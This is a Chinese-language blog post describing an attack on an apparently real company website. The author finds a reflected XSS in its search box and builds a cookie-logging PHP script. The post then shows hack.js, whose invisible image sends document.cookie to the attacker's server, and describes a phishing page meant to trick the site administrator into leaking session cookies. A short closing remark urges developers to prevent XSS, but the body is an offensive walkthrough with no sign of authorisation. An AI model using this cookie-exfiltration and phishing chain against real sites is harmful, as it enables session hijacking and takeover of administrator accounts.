黑客筆記本:記一次企業網站的XSS配合釣魚的利用(附代碼)

我發現我的文章,評論的很少、點讚的很少、轉發的很少,收藏的倒是不少。本人寫文章不容易,又不圖啥大家給點鼓勵嘛!

首先我們打開某個企業網站,看看有沒有什麼留言區域、搜索框什麼的。現實發現,留言的地方都被企業去掉了,只剩下搜索框。

黑客筆記本:記一次企業網站的XSS配合釣魚的利用(附代碼)

搜索框就搜索框吧,我們帶入我們測試的代碼試試效果,在搜索框輸入:

沒錯跟我們想的一樣,確實存在XSS漏洞。

黑客筆記本:記一次企業網站的XSS配合釣魚的利用(附代碼)

我們測試一下cookie獲取試試,在搜索框輸入:

現實一點都不殘酷,cookie還是可以獲取的,如下圖:

黑客筆記本:記一次企業網站的XSS配合釣魚的利用(附代碼)

但有些人可能認為,單純的拿個這樣XSS貌似沒什麼利用價值,就是彈個框而已,管理員又不會自己輸入代碼彈個框再發給你。

其實我們可以利用這個來釣魚啊!

那我們看一下頁面的源碼,按理說肯定是GET提交的,如果是GET的話,那麼我們直接偽裝地址欄連接傳遞惡意代碼就OK了。

黑客筆記本:記一次企業網站的XSS配合釣魚的利用(附代碼)

不出我們所料,果然是GET提交的。這樣就好辦了,下面我們說個流程:

1.自己搭建一個站點

2.在自己的站點上創建一個獲取對方cookie的PHP文件

3.管理員訪問帶有跳轉的鏈接

4.中招

那麼實現起來應該是這個樣子的:

我們先構造一個獲取管理員cookie的PHP文件,起名為getcookie.php:

黑客筆記本:記一次企業網站的XSS配合釣魚的利用(附代碼)

代碼的意思是獲取GET過來的cookie,然後打開本地站點的cookie.txt文件並寫入傳入的cookie,並且加入時間戳。

我們把最後一行加入一個輸出,先本地測試一下效果:

最後一行加入:echo $cookie;

然後瀏覽器輸入:

http://127.0.0.1:8080/getcookie.php?cookie=im hacker

執行訪問,看看效果:

黑客筆記本:記一次企業網站的XSS配合釣魚的利用(附代碼)

不錯,成功的獲取到,然後再看看我們本地站點的cookie.txt文件裡面是否加入了我們的cookie變量的值。

黑客筆記本:記一次企業網站的XSS配合釣魚的利用(附代碼)

同樣的本地本間也儲存的傳遞過來的cookie變量,並保存了。

下面我們想儲存真正的cookie的值就需要把下面的代碼放在存在XSS的頁面執行:

代碼的含義:

獲取管理員在官網上的cookie,然後以get的方式提交給127.0.0.1下面的getcookie.php。

我們嘗試著把這串代碼在官網執行以下試試:

黑客筆記本:記一次企業網站的XSS配合釣魚的利用(附代碼)

毫無破綻...代碼並沒有被執行,猜測可能是代碼太長,後臺給加了長度限制,所以沒被執行

,怎麼辦呢?

我們可以通過js加載的方式來試試效果。

我們新建一個js腳本,名字隨便起,比如說叫:hack.js

創建一個圖片,並設置為不可見,圖片地址設置為以上的惡意地址,使官網進行加載:

var img = document.createElement('img');

img.width = 0;

img.height = 0;

img.src = 'http://127.0.0.1:8080/getcookie.php?cookie='+encodeURIComponent(document.cookie);

現在我們再來重新架構一下我們的XSS代碼,在搜索框進行輸入:

現在就變成了,瀏覽器自動加載我們本地站點下的hack.js,而hack.js裡面又儲存了我們的跳轉鏈接也就是上面無法執行的那串代碼,我們訪問測試:

黑客筆記本:記一次企業網站的XSS配合釣魚的利用(附代碼)

你會發現,奇蹟出現了,我們的本地cookie.txt出現了官網的cookie。

到這裡基本就大功告成了,我們最後要做的就是釣魚,你可以寫一個頁面,插入一張比較具有誘惑性的圖片,並且圖片的地址是我們構造的連接,發給管理員,管理員如果記錄了官網的cookie的話一訪問遍中招了。

我們創建一個釣魚頁面:

以上的代碼,發給管理員,如果管理員點擊了圖片,就會洩露cookie。

黑客筆記本:記一次企業網站的XSS配合釣魚的利用(附代碼)

只要一點擊,管理員就會跳到官方的地址,併發送給我們的惡意站點。

以上就是關於XSS的利用,可見一些細小的BUG就會帶來嚴重的安全問題,所以程序員在寫代碼的時候一定要注意規避,不要給不法分子可乘之機!

關於XSS的防範,前面的文章我有介紹,有需要的可以去看看。


分享到:


相關文章: